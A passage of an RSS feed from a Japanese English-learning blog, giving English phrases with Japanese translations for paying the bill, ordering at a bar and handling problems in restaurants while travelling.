<img width="120" height="67" src="https://ffeng.jp/wp-content/uploads/2019/07/o0678038113820804607.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/07/o0678038113820804607.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/07/o0678038113820804607-300x169.jpg 300w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使えるボキャブラリー〜レストランやバーで大活躍のボキャブラリー1〜</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<h2>ホリデーシーズン目前：旅先で使える英語フレーズ<br />
〜レストランの支払いやトラブル〜</h2>
<p>旅先のレストランで食事を済ませた後は素敵なバーでカクテルを飲んだりするのはいかがですか？支払いからレストランでのトラブル対処、バーでカッコよく注文するときに役立つフレーズをご紹介します。</p>
<h3>支払いのフレーズ</h3>
<p><strong>・Could you take these plates away?</strong><br />
これらを下げてください。</p>
<p><strong>・Shall we go now?</strong><br />
そろそろ行きましょうか</p>
<p><strong>・Check, please.</strong><br />
お勘定を願いします</p>
<p><strong>・Should we check at the table?</strong><br />
テーブルで払えますか？</p>
<p><strong>・Where should I pay?</strong><br />
どこで払えばいいですか？</p>
<p><strong>・What is this charge?</strong><br />
これは何の金額ですか？</p>
<p><strong>・Separate check, please.</strong><br />
別々に支払いでお願いします</p>
<p><strong>・Let’s split the check today.</strong><br />
今日は別会計にしましょう</p>
<p><strong>・This is my treat. / This is on me.</strong><br />
今日は私のおごりです</p>
<p><strong>・I’ll pay for drink.</strong><br />
私が飲み物代を払います</p>
<p><strong>・Thank you for the lunch/ dinner.</strong><br />
ごちそうさまでした</p>
<p><strong>・Do you accept traveler’s checks?</strong><br />
トラベラーズチェックで払えますか？</p>
<p><strong>・Can we pay by this credit card?</strong><br />
このクレジットカードは使えますか？</p>
<p><strong>・Can I have a receipt?</strong><br />
レシートをください</p>
<p><strong>・How much is my share?</strong><br />
私の分はおいくらですか？</p>
<p><strong>・Can I pay the tip on my credit card?</strong><br />
チップもカードで払えますか？</p>
<p><strong>・How much does it come to?</strong><br />
全部でおいくらですか？</p>
<p><strong>・I think you forgot to charge for drink.</strong><br />
ドリンク代が付いていませんが</p>
<h3>バーでの注文</h3>
<p><strong>・Whiskey and water, please.</strong><br />
ウィスキーの水割りをお願いします</p>
<p><strong>・Do you have any local/craft beer?</strong><br />
クラフトビールはありますか？</p>
<p><strong>・What kind of rum do you have?</strong><br />
どんなラムがありますか？</p>
<p><strong>・I’ll have another one. / Another round, please.</strong><br />
もう一杯ください</p>
<p><strong>・Do you have anything to eat?</strong><br />
何か食べるものはありますか？</p>
<p><strong>・Can I run a tab?</strong><br />
まとめて払えますか？</p>
<p><strong>・Cash on delivery.</strong><br />
注文のごとに支払う</p>
<p><strong>・Could you put a little more water in my glass?</strong><br />
もう少し水を足してください</p>
<p><strong>・Do you have beer on tap?</strong><br />
生ビールはありますか？</p>
<h3>レストランでのトラブル</h3>
<p><strong>・This stakes seems a bit rare.</strong><br />
このステーキあまり火が入っていません</p>
<p><strong>・This soup is not hot enough.</strong><br />
このスープは冷めています</p>
<p><strong>・This tastes a little strange.<br />
</strong>味が変です</p>
<p><strong>・A hair in my soup / dish.</strong><br />
髪の毛がスープ／料理に入っています</p>
<p><strong>・I’ll cancel this one.</strong><br />
これをキャンセルします</p>
<p><strong>・I spilled water.</strong><br />
水をこぼしました</p>
<p><strong>・Please clean here.</strong><br />
ここを片付けてください</p>
<p><strong>・I think this charge is wrong.</strong><br />
勘定が間違っています</p>
<p><strong>・This is not what I ordered.</strong><br />
オーダーしたものと違います</p>
<p><strong>・This is not cooked enough.</strong><br />
まだ生です</p>
<p><strong>・My order still hasn’t come.</strong><br />
オーダーした物がまだ来ないのですが</p>
<p><strong>・I’m in a bit of hurry.</strong><br />
急いでいるのですが</p>
<p><strong>・If it still hasn’t been made, I’d like to cancel it.</strong><br />
まだ料理されていないなら、キャンセルしたいのですが</p>
<p><strong>・I asked you to hold the chili peppers.</strong><br />
唐辛子を入れないようにお願いしたのですが</p>
<p><strong>・I dropped my fork / spoon/ knife. Could you bring me another one?</strong><br />
フォーク／スプーン／ナイフを落としたので、持ってきていただけますか？</p>
<p><strong>・I’m still working on it.</strong><br />
まだ食べています</p>
<p><strong>・That’s all for now.</strong><br />
これで十分です</p>
<p><strong>・I’d like a box/doggy bag.</strong><br />
残りを持ち帰ります<br />
<a href="//blog.with2.net/link/?2011927:3421"><img decoding="async" title="英会話ランキング" src="https://blog.with2.net/img/banner/c/banner_1/br_c_3421_1.gif" /></a><br />
<a style="font-size: 0.9em;" href="//blog.with2.net/link/?2011927:3421">英会話ランキング</a></p>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&amp;linkname=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2019%2F11%2F28%2Frestaurants%2F&#038;title=%E3%83%9B%E3%83%AA%E3%83%87%E3%83%BC%E3%82%B7%E3%83%BC%E3%82%BA%E3%83%B3%E7%9B%AE%E5%89%8D%EF%BC%9A%E6%97%85%E5%85%88%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E8%8B%B1%E8%AA%9E%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%20%E3%80%9C%E3%83%AC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%B3%E3%81%AE%E6%94%AF%E6%89%95%E3%81%84%E3%82%84%E3%83%88%E3%83%A9%E3%83%96%E3%83%AB%E3%80%9C" data-a2a-url="https://ffeng.jp/2019/11/28/restaurants/" data-a2a-title="ホリデーシーズン目前：旅先で使える英語フレーズ 〜レストランの支払いやトラブル〜"></a></p><p>The post <a rel="nofollow" href="https://ffeng.jp/2019/11/28/restaurants/">ホリデーシーズン目前：旅先で使える英語フレーズ 〜レストランの支払いやトラブル〜</a> first appeared on <a rel="nofollow" href="https://ffeng.jp">たのしむイングリッシュ</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/11/25/hotel2/' title='ホリデーシーズン目前：旅先で使える英語フレーズ集〜チェックアウトまでホテルで快適に過ごす〜'>
<img width="120" height="67" src="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305-300x169.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113814000305-600x337.jpg 600w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使える英語フレーズ集〜チェックアウトまでホテルで快適に過ごす〜</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/11/26/restaurant/' title='ホリデーシーズン目前：旅先で使えるボキャブラリー　〜レストランやバーで大活躍のボキャブラリー1〜'>
<img width="120" height="67" src="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607-300x169.jpg 300w, https://ffeng.jp/wp-content/uploads/2019/11/o0678038113820804607-600x337.jpg 600w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使えるボキャブラリー　〜レストランやバーで大活躍のボキャブラリー1〜</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2019/07/19/travel1/' title='ホリデーシーズン目前：旅先で使えるボキャブラリー〜レストランやバーで大活躍のボキャブラリー1〜'>
<img width="120" height="67" src="https://ffeng.jp/wp-content/uploads/2019/07/o0678038113820804607.jpg" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://ffeng.jp/wp-content/uploads/2019/07/o0678038113820804607.jpg 678w, https://ffeng.jp/wp-content/uploads/2019/07/o0678038113820804607-300x169.jpg 300w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ホリデーシーズン目前：旅先で使えるボキャブラリー〜レストランやバーで大活躍のボキャブラリー1〜</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">866</post-id>	</item>
	</channel>
</rss>
